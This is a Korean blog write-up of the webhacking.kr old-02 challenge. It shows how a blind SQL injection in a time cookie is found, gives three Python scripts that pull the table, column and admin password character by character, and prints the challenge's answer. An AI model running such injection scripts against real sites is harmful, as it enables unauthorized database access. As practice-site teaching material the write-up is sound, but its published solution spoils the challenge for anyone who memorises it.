[webhacking.kr]old-02 write up

zzsla·2025년 5월 31일

문제 정보

없다

문제

문제에 들어가면 "Restricted area"라는 제목에 "Hello stranger. Your IP is logging..."이라는 문자 내용이 출력되어 있다.

분석

일단 문제 내용만으로는 어떻게 할 수가 없기 때문에 해당 페이지의 소스코드를 확인했다.

확인해 보면 admin.php라는 페이지가 존재하는 것을 알 수 있다. 그리고 위에 오늘 시간이 나와 있다.

admin.php에 접근하면 이렇게 password칸이 있다.

여러 번 아무 값이나 넣어봤는데 풀리지 않았다.

눈에 조금 띄는 건 admin.php의 응답값에 Expires의 값이 1981년도로 되어 있는 거였는데 크게 도움이 되지 못했다.

소스코드에서 오늘 시간이 나와있었는데 시간이 계속 고정되어 있다. 그래서 어딘가에서 값을 저장하고 있을 거 같아서 찾아보니 쿠키값으로 시간값인 에포크 시간을 저장하고 있었다.

그래서 쿠키값 time에 10을 넣으니 2070.01.01 09:00:10로 변했다. 원래는 1970년이 맞는데 2000년대로 고정되어 있다.(1981년대 Expires 이전 시간대로 돌아가서 푸는 건 아닌가 보다.)

취약점

time값으로 몇가지 확인해보다가 SQL injection이 되는 것을 확인했다.

이렇게 True 조건(10+and+1=1)일 때는 2070-01-01 09:00:01이다.

그리고 False 조건(10+and+1=2)일 때는 2070-01-01 09:00:00이다.

즉 blind SQL injection을 이용하면 데이터베이스에 존재할 수도 있는 admin.php password값을 얻을 수도 있다.

익스플로잇

password값을 SQL문을 이용해서 구할려면 테이블명과 컬럼명을 알아야 한다.
일단은 테이블명들을 구하는 코드를 짜도록 한다.

from requests import get

url = 'https://webhacking.kr/challenge/web-02/'
flag1 = 0
l = 0
while True:
	flag = 0
	table = ''
	i = 1
	while True:
		for j in range(95, 123):
			k = chr(j)
			tm = f"375051119+and+substring((select+table_name+from+information_schema.tables+limit+{l},1),1,{i})='{table}{k}'"
			cookie = {'PHPSESSID' : '자신의 쿠키값', 'time' : tm }
			response = get(url, cookies=cookie)
			if "2070-01-01 09:00:01" in response.text:
				table += k
				i += 1
				break

			elif(j == 122 and i == 1):
				flag1 = 1
                flag = 1
			elif(j == 122):
				flag = 1
		if(flag == 1):
			break
	if(flag1 == 1):
		break
	print(table)
	l += 1

코드에서 flag, flag1은 on/off 스위치 역할을 하는 함수이다. 값을 찾지 못하면 루프문을 탈출할 수 있게 해주는 용도이다.
l은 테이블, i는 글자 위치, j는 글자를 변경시킨다. 글자는 아스키코드로 95부터 122까지의 값을 확인한다.(대소문자가 상관이 없어서 소문자만 검사되도록 했다.)
이 코드를 거의 1시간 정도 돌렸던 거 같다. 만약 테이블을 바로 찾고 싶으면 l을 61로 맞추면 된다.

admin_area_pw

테이블값을 구했으니 테이블 안에 있는 컬럼 값을 구한다.

from requests import get

url = 'https://webhacking.kr/challenge/web-02/'

flag1 = 0
l = 0
while True:
	flag = 0
	table = ''
	i = 1
	while True:
		for j in range(95, 123):
			k = chr(j)
			tm = f"375051119+and+substring((select+column_name+from+information_schema.columns+where+table_name='admin_area_pw'+limit+{l},1),1,{i})='{table}{k}'"
			cookie = {'PHPSESSID' : '자신의 쿠키값', 'time' : tm }
			response = get(url, cookies=cookie)
			if "2070-01-01 09:00:01" in response.text:
				table += k
				i += 1
				break

			elif(j == 122 and i == 1):
				flag1 = 1
				flag = 1
			elif(j == 122):
				flag = 1
		if(flag == 1):
			break
	if(flag1 == 1):
		break
	print(table)
	l += 1

코드는 아까 코드랑 거의 동일하다.

pw
컬럼은 pw만 존재한다.

이제 테이블이랑 컬럼을 이용해서 안에 존재하는 값을 구하도록 한다.

from requests import get

url = 'https://webhacking.kr/challenge/web-02/'
flag = 0
table = ''
i = 1

while True:
	for j in range(95, 123):
		k = chr(j)
		tm = f"375051119+and+substring((select+pw+from+admin_area_pw+limit+0,1),1,{i})='{table}{k}'"
		cookie = {'PHPSESSID' : '90sui0gfm1hqdrh4ch0aandq4f', 'time' : tm }
		response = get(url, cookies=cookie)
		if "2070-01-01 09:00:01" in response.text:
			table += k
			i += 1
			break

		elif(j == 122):
			flag = 1
	if(flag == 1):
		break
print(table)

kudos_to_beistlab

이 값을 admin.php에 입력칸에 넣고 제출하면 문제가 풀린다.

profile
[README]newbi security hacker :p

0개의 댓글